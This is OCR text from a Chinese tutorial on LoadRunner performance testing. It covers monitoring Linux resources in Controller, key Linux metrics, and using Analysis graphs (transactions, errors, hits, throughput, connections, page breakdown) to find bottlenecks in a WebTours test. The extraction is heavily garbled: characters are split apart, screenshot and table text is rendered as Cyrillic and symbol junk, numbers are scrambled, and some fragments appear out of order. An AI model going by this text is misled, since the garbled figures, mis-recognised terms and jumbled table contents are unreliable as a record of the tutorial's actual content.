3) 回 到 Controller 中 ， 将 Systeme Resourece Graphs 中 的 UNIX Resources 拖 到 右 侧 的 资源 监控 区 域 。 
4) 单 击 鼠标 右键 ， 选 择 Add Measurements， 


5) 完成 后 等 待 一 小 段 时 间 便 会 看 到 数据 ， 如 图 3-31 所 示 。 


添加 被 监控 Linux 的 IP 地 址 后 ， 青 选择 要 监控 的 指标 即 可 。 具 体操 作 步 又 与 添加 Windows 的 监控 类 似 。 


Available Graphe 
+- Connections 
-— Connections per Second 

і 5 55L per Second 

=. em Resource Graphe 

= -— Windows Resources 


P LIMES Resources 


TPU ОЕ ation (Lini Kernel Statistics] 
User mode CPU Utilization [Unis Кете! Statistics] 


UNK Resources - Last 60 sec 


182.168.3.2 4.781 


: .. Site cope 

El- Network Graphs i 

С i- Network Delay Time CREER S mW 01:22:40 
z Ты аы | pone Elapsed Tims (Hour:Min: Sec) 


0445 


Que 如 果 经 过 上 面 的 步骤 还 是 无 法 监控 成 功 
动 ， 为 了 避免 这 样 的 情况 建议 把 采样 时 间 设 置 得 长 一 点 。 


5.Linux 性 能 指标 讲解 


Linux 中 的 计数 器 非常 多 ， 也 不 需要 全 部 掌握 ， 只 需 学 习 辟 


结 重要 监控 指标 即 可 ， 如 表 3-2 所 示 。 


表 3-2 Linux 重 要 指标 


Average load [Unis Кете! Statistics] 132.168.3.2 0.020 0.008 0.011 
Interrupt rate (Unis Kemel Statistics) 132.158.3.2 КЕТА, НЕП 33.718 03.545 9.970 | 
Da 1 5 "ranked ланы ==k= ЇЇ lm | nre a S e l 0 0 0 0 0 ЗОЗ ЗСО 9 9 PP :4 De Зет ср LM Oy AALDEN 日 
图 3-31 Linux 监 控 


， 则 可 以 关闭 Linux 的 防火 墙 之 后 再 试 。 另 外 ， 如 果 出 现 监 控 过 程 中 突然 无 法 监控 到 数据 ， 则 可 能 是 Linux 自 动 关闭 了 RPC 服 务 造 成 的 ， 所 以 需要 再 局 


指标 名 称 含义 以 及 判断 技巧 
Swap-in/out rate 进程 与 获 换 分 区 的 交换 革 。 如 未 比较 频 和 人 系 ， 可 能 内 存 质 源 的 使 用 比较 对 张 
System mode CPU Utilization 系统 操作 所 占用 的 CPU 
User mode CPU Utilization HEF АНАУ CPU 
平均 负载 。 指 一 段 时 间 内 CPU 正在 处 理 及 等 待 CPU 处 理 的 进程 数 之 和 的 
Average Load ies XN FUR P. ak; 
е 统计 信息 。 ЖИВ F, Load Average < CPU : "j x 核 数 x 0.7 为 E 


Context switch rate 


Paging rate 


指标 名 称 


Disk Traffic 


Incoming/Outgoing packets error rate 


Collision Rate 


34 本章 小 结 


通过 这 段 时 间 的 学 习 ， 
力 ， 需 要 补充 学 习 的 知识 太 多 了 。 


在 本 章 的 学 习 中 ， 读 者 要 注意 


小 白 已 经 掌握 了 Controller 中 的 关键 要 领 ， 从 场景 的 设计 到 监控 ,以 及 重要 指标 的 分 析 都 可 以 熟练 完成 ， 也 算 完 成 了 第 二 个 


灵活 处 理 ， 很 多 东西 并 不 是 唯一 的 


上 上 下文 切换 率 。 减少 切 换 率 能 


МА а. АИТВ, 
ЖЕГЕ s Du [^ ff HJ 能 是 并 R si 


含义 以 及 判断 技巧 


数据 包 接 收 / 发送 的 错 i 
АУ m = I |] 2@ Щи) 


， 没 有 对 错 之 分 ， 需 要 根据 自己 实际 业务 灵活 调整 与 坛 验 ， 切 勿 死板 。 


下 次 小 白 将 以 实战 方式 学 习 LoadRunner 的 第 三 大 组 件 Aanlysis 并 进行 数据 图 表 分 析 ， 让 我 们 一 起 期 待 吧 


第 4 章  LoadRunner Analysis 实 战 


小 白 虽 然 感觉 
吉 合 实际 的 测试 结 


经 过 上 面 的 学 习 ， 
小 白 将 学 习 各 种 数据 图 表 并 结 


到 了 压力 ， 但 也 增加 了 动力 ， 要 想 比 别人 优秀 ， 
进行 学 习 分 析 最 终生 成 测试 报告 。 


就 需要 付出 比 别 人 更 多 的 努力 ， 想 到 这 里 小 白 放 弃 了 休息 的 想法 ， 


里 程 碑 的 学 习 ， 虽 然 心里 很 高 兴 ， 但 也 


有 效 提升 系统 响应 速度 
可 能 当时 有 线程 


EPAF., ame 


RE, BERRE sZ Ца] Ej Fg ET [H] 


感受 到 了 压 


续 投 入 第 三 个 里 程 碑 Aanlysis 的 学 习 当 中 。 本 章 中 


4.1 Analysis 介绍 

LoadRunner 的 第 三 大 组 件 Aanlysis 可 以 提供 数据 图 表 的 汇总 ， 辅 助 我 们 进行 分 析 ， 能 对 各 种 数据 图 表 进 行 合 并 、 分 解 ， 方 便 定 位 发 现 问题 ， 还 能 帮助 完成 报告 的 生成 与 对 比 ， 听 起 来 十 分 强大 ， 那 就 快 
和 小 白 一 起 学 习 吧 ! 

我 们 经 常 使 用 该 组 件 进行 图 表 分 析 ， 殊 不 知 Aanlysis 中 也 隐藏 着 很 多 设置 ， 此 处 以 Tools 下 的 Options 中 的 主要 选项 来 学 习 ， 含 义 如 下 。 

1) General: 常规 设置 ， 如 图 4-1 所 示 。 

各 选项 含义 如 下 。 

: Date Format: 日 期 格式 ， 可 根据 自己 的 习惯 随意 选择 。 

' File Browser: 文件 浏览 器 ， 可 指定 默认 打开 时 的 目录 。 

Temporary Storage Location: 临时 存储 位 置 ， 可 根据 实际 情况 自行 选择 临时 文件 的 存放 位 置 。 

` Summary Report: 概要 报告 ,设置 其 响应 时 间 显示 在 概要 报告 中 的 事务 百分比 ， 默 认为 90%。 


2) Result Collection: 结果 收集 ， 如 图 4-2 所 示 。 


Y 


— | sg 


 General'| Result Collection | Database | Web Page Diagnostics | Analyze < | ^ | 


—Date Forma 
(^ European — [dd/rorm/yyyy] (^ Traditional Chinese [dd-mmm-yyyy) 


С Us в а Ц (+ Local Regional Options 


File Browse 
+ (penat most recently used directory 


€ Open at specified directory 
Directory path; | xs | 


-Temporary Storage Location 
(«Це Windows temporary directory 


C Use a specified directory 


Drectory path: | M | 


Summary Report 
Transaction Percentile Er 2 


图 4-1 常规 设置 


| Database | Web Page Diagnostics | Analyze < 


General } Result Collection 


- Data source 
C Generate summary data only 
(+ Generate complete data only 
(^ Display summary while generating complete data 


Data Aggregation 
(+ Automatically aggregate data to optimize performance 


(^ Automatically aggregate web data only 


Aggregation Configuration.. 


(^ Apply user-defined aggregation 
Data Time Range 
ie Entire scenario 


(^ Specified scenario time range 


Analyze results fron DOO OD іо (ће scenario 


until inta the scenarta 


Сору Controller Output Messages to Analysis Session 
(+ Сору if data set is smaller than [150 = МВ 
C Always copy 


(C Never copy 


图 4-2 ”结果 收集 


各 选项 含义 如 下 。 
: Date source: 数据 源 ， 主 要 是 对 生成 数据 进行 设置 ， 一 般 不 修改 。 
Date Aggregation: 数据 聚合 ， 一 般 默 认 选 择 第 一 项 ， 即 自动 聚合 数据 。 
: Date Time Range: 数据 时 间 范 围 ， 可 以 选择 某 段 时 间 并 应 用 到 场景 中 进行 数据 分 析 。 
· Сору Controller Output Messages to Analysis Session: 将 Controller 中 的 输出 信息 复制 到 Analysis， 一 般 上 默认 即 可 ， 不 建议 选择 Always copy， 因 为 会 影响 数据 收集 性 能 。 


3) Database: 数据 库 ， 这 里 是 设置 测试 结果 数据 存储 ， 如 果 Aanlysis 结 果 数 据 超过 2GB， 那 么 建议 存储 到 数据 库 中 ， 此 时 选择 SQL Server 或 Access， 如 图 4-3 所 示 。 


NT " 
- m — 


General | Result Collection Database | web Page Diagnostics | Analyze alel 


(+ Access 2000 
C SÜL Server/MSDE 


-Server Detail: 


Server Name: [JACKZHAODI | Г Use Windows intearated security 
LI ser Name: [sa 
Password: | 


Shared Folder Details - 


[ Import data directly fram Analysis machine 


Shared folder on М5 SUL Server 
Shared folder path: [MJACKZHADDMDatN 7 | 
Local folder path: [CNMSSQL7NData | 
Shared folder on Analysis Host 


Shared falder path: | = | 


4-3 Ж 


42 ”性 能 数据 图 表 分 析 实 战 


这 里 小 白 将 以 实战 的 方式 来 学 习 LoadRunner 的 六 大 类 图 表 ， 并 进行 分 析 。 此 处 以 WebTours 的 性 能 测试 结果 为 例 进行 分 析 ， 整 个 分 析 过 程 中 会 学 习 重要 的 数据 图 表 ， 并 对 现象 进行 推理 分 析 ， 最 终 给 出 


结论 与 解决 方案 。 


421 概要 图 分 析 


Ж, 


使 用 Analysis 打 开 WebTours 测 试 报告 后 ， 默 认 出 现 Analysis Summary 页 面 ， 这 就 是 概要 图 ， 在 这 里 可 以 从 全 局 的 角度 来 查看 系统 性 能 表现 以 及 数据 汇总 。 下 面 学 习 主要 的 区 域 。 
1. 统 计 汇 总 


统计 汇总 (Statistics Summary) 统计 出 了 最 大 虚拟 用 户 数 、 总 吞吐 量 、 平 均 每 秒 香 叶 量 、 总 点 击 数 、 平 均 每 秒 点 击 率 以 及 总 错误 数 等 相关 信息 ， 能 大 致 判断 系统 的 性 能 。 一 般 单位 时 间 内 吞吐 量 越 
说 明 服 务 器 的 处 理 能 力 越 好 ， 如 图 4-4 所 示 。 


Statistics Summary | 


Maximum Running Vusers: 

Total Throughput (bytes): 

Average Throughput (bytes/ second 
Total Hits: 

Average Hits per Second: 


Total Errors: 


2. 事 务 概要 


图 4-4 


70 


273,489,363 


380,904 
B,789 
12.241 
9,226 


统计 汇总 


View HTTP Responses 5ummary 


事务 概要 (Transaction Summary) 主要 是 对 事务 的 概况 进行 统计 ， 包 括 最 小 响应 时 间 、 平 均 响 应 时 间 、 最 大 响应 时 间 、 标 准 差 以 及 通过 的 事务 数 和 失败 的 事务 数 等 。 图 4-5 的 check_itinerary 事 务 存 


在 较 多 的 失败 而 且 响应 时 间 偏 长 ， 后 续 重 点 对 该 事务 进行 分 析 。 


OO peo 


Transactions: Total Passed: 1,100 Total Failed: 3,112 Total Stopped: 0 


SLA Status 
Action Transaction А 78.016 
book flight 5.375 
check itinerary 3.295 
logoff | 0.406 
search flight 0.464 
vuser end Transaction i- 0 

0 


Transaction Name 


139.18 
11.399 
32.B26 
1.005 
3.834 
4.915 
0 
0.013 


Minimum Average Maximum 


252.471 
17.941 
119.258 
12.909 
3.864 
11.17 

ü 

0.077 


图 4-5 ”事务 概要 


Std. Deviation 90 Percent 
170.866 


28.215 
3.015 
26.407 
1.146 
2.161 
2.365 
0 


0.024 


Average Response Time 


15.407 
85.754 
1.67 
&.777 
7.966 


Pass Fail 5top | 
3,081 


Qi Std.Deviation 一 般 翻 译 为 标准 差 ， 它 代表 该 事务 的 稳定 性 ， 该 值 越 大 ， 说 明 该 事务 越 不 稳定 ， 起 伏 比较 大 。90 Petcent 一 般 翻 译 为 90% 的 响应 时 间 ， 当 标准 差 比 较 大 时 ， 一 般 选 择 90% 的 响应 时 


间 值 来 代替 平均 响应 时 间 值 。 


3.HTTP 返 回 状态 概要 


HTTP 返 回 状态 概要 (HTTP Responses Summary) 主要 统计 服务 器 的 返回 状态 。 从 图 4-6 中 可 以 看 出 返回 的 都 是 200 状 态 码 ， 且 总 数 8789 与 Statistics Summary 中 的 基本 一 致 ， 说 明 大 部 分 请 求 都 是 成 


功 的 。 


НТТР Responses 
HTIP 200 


Qi 非 200 的 状态 码 不 一 定 就 是 错误 的 ， 需 要 根据 具体 的 业务 具体 分 析 。 例 如 ， 返 回 302 状 态 码 也 是 很 正常 的 ， 不 会 影响 性 能 测试 结果 。 


422 ”虚拟 用 户 图 分 析 


新 增 图 的 方法 为 单 击 顶 部 菜单 Graph 一 Add New Graph， 出 现 如 图 4-7 所 示 的 界面 ， 从 中 选择 想 添加 查看 的 数据 图 表 。 


图 4-6 HTTP 返回 状态 概要 


— — E E 


Select a ntt [v Display only graphs containing data 


E- 
[H- Errors 
=- Transactions 

[H- eb Resources 

由- web Page Diagnostics 
由 - System Resources 


Graph D'escnption: 


图 4-7 Open a New Graph 
1. 正 在 运行 的 虚拟 用 户 


正在 运行 的 虚拟 用 户 (Running Vusers) 直接 反映 了 在 Controller 中 设计 的 场景 策略 、 虚 拟 用 户 运 行情 况 ， 以 及 在 各 个 时 间 点 虚拟 用 户 的 状态 ， 如 图 4-8 所 示 。 


Running Vusers 


Number of Vusers 


on Š 0 S m Š ë 2 Zm 2 m а 


00:00 00:30 01:00 01:30 02:00 02:30 03:00 03:30 04:00 04:30 05:00 05:30 06:00 06:30 07:00 07:30 08:00 08:30 09:00 09:30 10:00 10:30 11:00 11:30 12:0 


图 4-8 EAZA EMAA Р 


图 4-8 中 的 Running Vusers 以 慢 增长 方式 进行 加 压 ， 达 到 70 个 虚拟 用 户 后 持续 运行 ， 最 后 逐步 减 压 直至 结束 。 


如 果 想 查看 不 同 状 态 的 虚拟 用 户 情况 ， 可 以 在 图 4-8 中 用 鼠标 右键 单 击 ， 选 择 Set Filter/Group By 进入 筛选 界面 ， 根 据 实际 需求 筛选 Vuser 的 状态 ， 如 图 4-9 所 示 。 


[Dea [Vas | 
Ноз Мате — | | 


Group By: 
Available aroups: Selected groups: 
Host Name | 


Vuser End Status 
Vuser ID k | 


图 4-9 Vuset 状 态 筛选 


对 于 正在 运行 的 虚拟 用 户 图 ， 一 般 都 与 其 他 图 表 合并 查看 分 析 才 有 实际 意义 ， 能 够 分 析出 虚拟 用 户 数 的 增加 或 变动 会 对 其 他 指标 产生 什么 影响 ， 从 而 分 析 当 时 的 性 能 情况 。 图 4-10 是 和 平均 事务 响应 时 
间 合 并 后 的 结果 。 


从 图 4-10 中 可 以 看 出 ， 随 着 并 发 用 户 数 的 增加 ， 平 均 事务 响应 时 间 增 加 ， 大 概 在 60 个 Vuser 时 ， 事 务 还 出 现 了 严重 的 波动 ， 需 要 继续 分 析 波 动 的 时 间 段 定位 问题 所 在 。 


Running Vusers - Average Transaction Response Time 


70. 75 

65- 10 
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00:00 00:30 01:00 01:30 02:00 02:30 03:00 03:30 04:00 04:30 05:00 05:30 06:00 06:30 07:00 07:30 08:00 08:30 09:00 09:30 10:00 10:30 11:00 11:30 12:00 

Elapsed scenario time mm:ss 
图 4-10 正在 运行 虚拟 用 户 和 平均 事务 响应 时 间 合 并 图 

2. 虚 拟 用 户 概 要 


虚拟 用 户 概要 (Vuser Summary) 可 查看 虚拟 用 户 的 状态 ， 如 有 多 少 stopped、 有 多 少 Failed 等 。 从 图 4-11 中 可 以 看 出 70 个 虚拟 用 户 都 正常 停止 ， 无 失败 的 用 户 。 


Vuser Summary 


100 % of 70 M 


| = s sk ç YW | & m | "Ç |N | W = [s 
&|Cov|Seziv|Measuemen [zl6raphaverage [v| 
E c E 


图 4-11 虚拟 用 户 概要 


423 ”错误 图 分 析 
还 记得 在 3.3 节 Controller 中 提 到 的 Errors 统 计 吗 ? 这 里 的 错误 图 就 用 于 统计 与 展示 具体 信息 。 
1 错误 描述 统计 


错误 描述 统计 (Error Statistics) 图 是 重点 查看 的 图 表 ， 它 会 详细 罗列 测试 过 程 中 出 现 的 错误 类 型 和 对 应 的 信息 ， 同 时 可 以 看 到 每 种 错误 的 数量 ， 有 时 还 能 直接 反映 系统 的 性 能 问题 ， 如 图 4-12 所 示 。 


Summary Report |Error Statistics (by Description) 
Error Statistics (by Description) 


31.69 % of 9,226 


| 1.56 56 of 9 226 | 


34.13 4 of 9,226 


32.23 % of 9,226 | 


а 


A o W 2 m w |ü Ó =P 


ПЕЛЕ 
т ЕШ 17999 СНО c(133] Error Ап error has occurred into the Message test Бох. — 
ONE Error -2b3/ 4 Action.c[15] Error -26374 The above "not Found" errors] may be ехріа 2324 


1 Error 2637 P. Action.c(15] Error -26377 No match found for the requested parameter. 2974 
1 Error -27727:Àct tion.c[15] Error -27727 Step download timeout [120 seconds] has ех 

Error -27728:Action.c(118] Error -27728 Step download timeout (120 seconds] has e 2t 

Error -27 735: Action. c(133] Error -27796 Failed to connect to server "localhostSO" [1 3 1 
Error -27 /35:Action.c[15) Error -27 #96 Failed to connect to server |ocalhostouU [10 


图 4-12 ”错误 描述 统计 


< [<l < [<i <<< 


从 图 4-12 中 可 以 明显 看 出 连接 服务 器 失败 ， 遭 到 服务 器 拒绝 。 如 果 对 系统 熟悉 ， 只 需 从 前 3 条 错误 提示 ， 就 可 以 判断 系统 出 现 了 瓶颈 无 法 及 时 处 理 请 求 。 


对 于 错误 中 出 现 的 两 条 timeout 提 示 ， 可 以 通过 调 大 Run-time Settings 中 的 HTTP-request connect timeout (sec) , HTTP-request receive timeout (sec) 和 Step download timeout (sec) = 
个 参数 的 值 来 解决 。 


2. 每 秒 错误 数 


每 秒 错误 数 (Errors per Second) 图 是 对 每 秒 出 现 的 错误 数 进行 统计 ， 数 值 越 小 越 好 。 如 果 与 虚拟 用 户 图 结合 来 看 ， 可 以 判断 系统 在 什么 时 候 、 什 么 压力 下 开始 不 稳定 ， 甚 至 出 错 。 从 图 4-13 中 可 以 看 
出 在 1~7min 之 间 错 误 数 明显 增加 ， 后 续 需要 关注 这 段 时 间 内 其 他 指标 的 变化 .。 


Summary Report | Error Statistics (by Description) | Errors per Second EESTI 
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Number of Errors 


r= = == |= D- 
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图 4-13 ”每 秒 错误 数 
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424 ”事务 图 分 析 
事务 图 也 是 需要 重点 观察 的 ， 它 的 产生 是 基于 在 脚本 中 封装 的 事务 ， 初 学 者 经 常会 忘记 在 脚本 里 加 事务 ， 导 致 统计 出 来 的 数据 无 法 显示 事务 的 相关 信息 。 
事务 图 的 种 类 比较 多 ， 如 平均 事务 响应 时 间 图 、TPS、 事 务 概 要 等 。 在 实际 应 用 中 很 少 会 把 所 有 的 图 表 都 分 析 到 ， 只 需 分 析 关键 图 表 即 可 。 下 面 将 对 这 些 关键 图 表 进 行 分 析 。 
Qus 事务 图 的 分 析 是 站 在 用 户 角度 进行 的 ， 主 要 关注 响应 时 间 。 
1. 事 务 概要 
事务 概要 (Transaction Summary) 可 以 清楚 地 看 到 哪些 事务 失败 比较 多 ， 也 可 以 判断 出 系统 是 否 运行 正常 。 从 图 4-14 中 可 以 看 出 check _itinerary 事 务 失败 了 大 概 28 次 ， 失 败 率 较 高 ， 需 要 重点 分 析 。 
2 平均 事务 响应 时 间 


平均 事务 响应 时 间 (Average Transaction Response Time) 统计 的 是 在 测试 场景 运行 期 间 ， 每 秒 内 事务 执行 所 用 的 平均 时 间 ， 通 过 它 可 以 分 析 系 统 的 性 能 走向 ， 也 是 最 直观 的 指标 之 一 。 平 均 事 务 响 
应 时 间 图 中 提供 了 场景 运行 期 间 事 务 响应 时 间 的 最 大 、 平 均 、 最 小 以 及 标准 差 等 信息 ， 对 于 分 析 十 分 有 用 。 
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图 4-14 事务 概要 


例如 ， 随 着 测试 时 间 的 变化 ， 系 统 处 理事 务 的 速度 开始 逐渐 变 慢 ， 这 说 明 系 统 随 着 运行 时 间 的 变化 ， 整 体 性 能 将 有 下 降 的 趋势 。 如 图 4-15 所 示 ， 在 3~6min 之 间 有 明显 的 降低 与 回升 ， 从 这 里 我 们 可 以 
大 胆 猜测 有 可 能 是 服务 器 处 理 能 力 强 ， 瞬 间 处 理 完 毕 ， 也 可 能 是 处 理 能 力 差 或 者 是 出 现 大 量 错 误导 致 。 


另外 ， 如 果 该 指标 整体 走势 比较 平缓 ， 没 有 大 幅度 的 上 下 波动 ， 选 取 Average Time 或 90 Percent Time 都 可 以 。 但 是 如 果 像 图 4-15 所 示 ， 变 化 波动 比较 大 ， 也 没有 什么 规律 可 言 ， 那 么 一 般 选 取 90 
Percent Time。 此 处 我 们 关注 90 Percent Time, 


Average Transaction Response Time 
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图 4-15 平均 事务 响应 时 间 

Qum 一 般 在 性 能 测试 结果 分 析 中 ， 要 去 除 思 考 时 间 。 方 法 为 在 图 中 单 击 鼠 标 右键 ， 选 择 Set Filtet/Group， 取 消 选中 Think Time 即 可 。 


3. 每 秒 通过 事务 数 


每 秒 通过 事务 数 (TPS) 表示 每 秒 通过 的 事务 数 ， 是 考查 系统 性 能 的 一 个 重要 指标 。 通 过 它 可 以 确定 系统 在 任何 时 刻 的 事务 处 理 能 力 ， 这 个 数值 越 高 ， 说 明 系 统 处 理 能 力 越 强 。 分 析 TPS 主 要 是 看 该 曲线 
的 性 能 走向 。 


当 压 力 加 大 时 ，TPS 曲 线 如 果 变 化 缓慢 或 者 有 平坦 的 趋势 ， 则 很 有 可 能 是 服务 器 开始 出 现 瓶 贷 。 如 图 4-16 所 示 ， 在 3~6min 之 间 因 为 失败 的 事务 数 大多， 所 以 平均 事务 响应 时 间 减 小 。 同 时 ， 也 可 以 看 出 
整体 的 TPs 都 比较 小 ， 服 务 器 的 处 理 能 力 有 瓶颈 。 
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4. 事 务 性 能 摘要 


Transaction Performance Summary (事务 性 能 摘要 ) 体现 了 所 有 事务 的 最 大 响应 时 间 、 最 小 响应 时 间 和 平均 响应 时 间 ， 通 常 我 们 关注 最 大 响应 时 间 以 及 平均 响应 时 间 。 事 务 性 能 摘要 如 图 4-17 所 
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图 4-17 事务 性 能 摘要 
5. 事 务 响应 时 间 分 布 


事务 响应 时 间 分 布 (Transaction Response Time Distribution) 可 以 体现 不 同 响应 时 间 的 事务 数量 ， 清 晰 地 看 到 事务 响应 时 间 的 分 布 情况 。 图 4-18 为 check _itinerary 事 务 响应 时 间 分 布 。 
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图 4-18 ”事务 响应 时 间 分 布 
4.2.5 ”Web 资源 图 分 析 


Web 资 源 图 里 有 很 多 细 分 的 图 表 ， 其 实 不 需要 全 部 记 住 ， 因 为 每 个 指标 的 变化 都 不 是 独立 的 ， 是 与 其 他 指标 关联 的 。 往 往 一 个 指标 出 现 问 题 时 ， 可 以 推断 出 相关 联 的 指标 ， 所 以 只 需要 学 习 重要 指标 即 
可 。 在 学 习 4.2.5 内 容 时 别 忘 了 回顾 1.3 节 中 的 知识 。 


但 示 。Web 资 源 图 是 从 服务 器 的 角度 进行 统计 分 析 的 ， 和 事务 图 是 两 个 纬度 。 
1. 每 秒 点 击 数 
每 秒 点 击 数 (Hits per Second) 统计 的 是 运行 场景 过 程 中 ， 虚 拟 用 户 每 秒 向 Web 服 务 器 提交 的 HTTP 请 求 数 。 该 指标 经 常 与 其 他 指标 结合 进行 分 析 。 


[5/1] 与 平均 事务 响应 时 间 图 比较 ， 可 以 反映 点 击 次 数 对 事务 性 能 产生 的 影响 。 如 图 4-19 所 示 ， 在 2~5min 之 间 出 现 了 两 个 诡异 的 现象 ,一 个 是 请 求 数 减 少 了 ， 平 均 事务 响应 时 间 反 而 变 大 了 ; 另 一 个 
是 请 求 数 增加 了 ， 平 均 事 务 响应 时 间 却 减 小 了 。 我 们 猜测 可 能 是 网 络 问题 导致 。 


【 例 2】 与 吞吐 量 比较 ， 每 秒 点 击 数 越 大 ， 平 均 吞 吐 量 也 应 该 越 大 。 每 秒 点 击 数 正常 ， 而 平均 吞吐 量 不 正常 ， 有 可 能 是 服务 器 处 理 缓慢 造成 。 相 反 ， 则 有 可 能 是 客户 端 侧 出 现 了 问题 ， 一 般 为 网 络 或 者 肢 
本 的 问题 。 如 图 4-20 所 示 ， 猜 测 可 能 是 网 络 上 人 存在 问题 。 
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图 4-19 ”每 秒 点 击 率 和 平均 事务 响应 时 间 合并 
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图 4-20 ”吞吐 量 和 每 秒 点 击 率 合 并 


【 例 3】 若 压力 增 大 时 ， 每 秒 点 击 数 和 和 TPS 曲线 出 现 变 化 缓慢 或 者 平坦 ， 则 很 可 能 是 服务 器 响应 时 间 增 加 ， 观 察 服务 器 资源 使 用 情况 ， 确 定 是 否 是 服务 器 问题 。 如 图 4-21 所 示 ，3~4min 之 间 ， 请 求 减少 
而 通过 的 事务 数 增加 ， 在 4~5min 之 间 ， 请 求 数 增加 而 通过 事务 数 减 少 ， 这 说 明 服 务 器 处 理 可 能 存在 瓶颈 。 
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图 4-21 TPS 和 每 秒 点 击 率 合并 

2. 知 叶 量 


吞吐 量 (Throughput) 统计 场景 运行 过 程 中 服务 器 的 每 秒 吞吐 量 ， 单 位 是 字 节 ， 表 示 虚 拟 用 户 在 任何 给 定 的 每 一 秒 内 ， 从 服务 器 获得 的 数据 量 。 通 过 该 指标 可 以 看 出 服务 器 在 流量 方面 的 处 理 能 力 以 
及 是 否 存在 瓶 巴 ， 如 图 4-22 所 示 。 


Throughput 
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图 4-22 Жар 


正常 情况 下 ， 吞 吐 量 图 与 TPS 图 的 变化 基本 一 致 。 若 压力 增 大 时 ， 吞 吐 量 的 曲线 增加 到 一 定 程度 后 变化 缓慢 ， 甚 至 平坦 ， 则 很 可 能 是 网 络 出 现 带宽 手 


从 图 4-23 中 可 以 看 出 ,不论 是 吞吐 量 ， 还 是 TPS 都 非常 不 稳定 ， 尤 其 是 TPS， 通 过 率 比较 低 。 
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图 4-23 ”吞吐 量 和 TPS 合 并 
3.HTTP 状 态 码 概要 


HTTP 状 态 代码 概要 (HTTP Status Code Summary) 统计 场景 运行 过 程 中 ， 从 Web 服 务 器 返回 的 HTTP 状 态 代码 数 。 


从 图 4-24 中 可 以 看 出 返回 的 都 是 200 状 态 码 ， 这 说 明 在 HTTP 返 回 层面 上 是 成 功 的 。 
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图 4-24 HTTP 状态 码 概要 


4. 每 秒 HTTP 响 应 数 


每 秒 HTTP 响 应 数 (HTTP Responses per Second) 统计 运行 场景 过 程 中 ， 每 秒 从 Web 服 务 器 返回 的 不 同 HTTP 状 态 代码 的 数量 。 一 般 和 每 秒 点 击 量 相 同 ， 如 果 服 务 器 的 响应 数 小 于 点 击 量 ， 那 么 说 明 服 
务 器 无 法 应 答 ， 超 出 负载 的 连接 请 求 ， 如 图 4-25 所 示 。 
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图 4-25 ”每 秒 HITTP 响 应 数 和 每 秒 点 击 率 合并 
5. 连 接 数 
连接 数 (Connections) 统计 场景 运行 过 程 中 ， 每 个 时 间 点 打开 的 TCP/IP 连 接 数 。 通 过 此 图 ， 可 以 知道 何 时 需要 添加 其 他 连接 。 
例如 ， 当 连接 数 到 达 稳 定 状态 而 事务 响应 时 间 迅 速 增 大 时 ， 添 加 连接 可 以 使 性 能 得 到 极 大 提高 。 
6. 每 秒 连 接 数 


每 秒 连接 数 (Connections Per Second) 统计 新 建 的 连接 数 和 关闭 的 连接 数 ， 方 便 了 解 每 秒 对 服务 器 产生 连接 的 数量 。 同 时 连接 数 越 多 ， 说 明 服 务 器 的 连接 池 越 大 ， 当 连接 数 随 着 负载 上 升 而 停止 时 ， 
说 明 系 统 的 连接 池 已 满 ， 通 常 这 时 候 服 务 器 会 返回 ?04 错误 。 需 要 修改 服务 器 的 最 大 连接 来 解决 该 问题 。 从 图 4-26 中 可 以 看 出 ， 连 接 数 一 直 都 比较 低 ， 可 以 适当 增加 连接 数 来 提升 性 能 。 


7. 每 秒 重 试 次 数 


每 秒 重 试 次 数 图 显示 在 场景 运行 的 每 一 秒 内 ， 服 务 器 尝试 的 连接 次 数 。 在 下 列 情况 下 将 重 试 服务 器 连接 。 


“ 初始 连接 未 经 授权 。 


要 求 代 理 服务 器 身份 验证 。 


` 服务 器 关闭 了 初始 连接 。 


` 初始 连接 无 法 连接 到 服务 器 


- 服务 器 最 初 无 法 解析 负载 生成 器 的 IP 地 址 。 
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图 4-26 ”每 秒 连接 数 
8. 每 秒 SSL 连 接 数 
每 秒 SSL 连 接 数 图 显示 在 场景 运行 的 每 一 秒 内 ， 重 新 使 用 的 SSL 连 接 数 。 当 对 安全 服务 器 打开 TCP/IP 连 接 后 ， 浏 览 器 将 打开 SSL 连 接 。 
因为 新 建 SSL 连 接 需要 消耗 大 量 的 资源 ， 所 以 应 该 尽量 减少 打开 新 的 SSL 连 接 。 建 立新 SSL 连 接 后 ， 应 该 重复 使 用 该 连接 。 每 个 虚拟 用 户 的 新 SSL 连 接 数 不 应 超过 一 个 。 理 想 情 况 下 ， 每 秒 都 应 该 只 有 很 少 


量 的 新 TCP/IP 和 SSL 连 接 。 


4.2.6 ”网 页 细 分 图 分 析 


网 页 细 分 图 是 站 在 页 面 级 别 ， 帮 助 我 们 分 析 网 站 上 有 问题 的 元 素 。 可 以 查看 每 个 页 面 和 组 件 的 下 载 时 间 、 大 小 等 。 
经 过 上 面 的 分 析 ， 小 白 已 经 得 出 check_itinerary 事 务 存在 较 大 的 问题 ， 所 以 此 处 的 网 页 细 分 图 就 以 该 事务 进行 重点 分 析 。 
1. 页 面 组 件 细 分 
页 面 组 件 细 分 (Page Component Breakdown) 统计 每 个 网 页 及 其 组 件 的 平均 下 载 时 间 ， 单 位 为 秒 。 可 以 直观 地 看 到 哪个 组 件 耗 时 过 长 ， 通 过 它 有 助 于 隔离 有 问题 的 组 件 。 


操作 方法 为 : 打开 Page Component Breakdown (页 面 组件 细 分 ) 图 ， 依 次 展开 左 侧 区 域 的 Breakdown Tree 到 要 分 析 的 check itinerary 处 ， 单 击 鼠 标 右键 ， 选 择 Break Down..….， 如 图 4-27 所 示 。 
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图 4-27 页 面 组 件 细 分 (1) 


细 分 完成 后 的 页 面 如 图 4-28 所 示 ， 可 以 明显 地 发 现 itinerary.pl 和 sh_itinerary.gif 占 用 了 较 长 的 响应 时 间 。 至 于 是 什么 原因 导致 的 ， 现 在 无 法 给 出 推论 ， 需 要 继续 分 析 。 
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lacalhast/...sh. itinerary. gif 


图 4-28 页面 组 件 细 分 (2) 
2. 页 面 下 载 时 间 细 分 
页 面 下 载 时 间 细 分 (Page Download Time Breakdown) 统计 在 场景 运行 期 间 ， 每 一 秒 内 ， 每 个 页 面 组 件 下 载 时 间 的 细 分 。 使 用 此 图 可 以 确定 在 下 载 的 哪 一 个 阶段 发 生 了 问题 。 
页 面 组 件 细 分 图 和 页 面 下 载 时 间 细 分 合 起 来 分 析 ， 首 先 确定 有 问题 的 组 件 ， 然 后 分 析 它 们 的 下 载 过 程 ， 从 而 定位 原因 。 
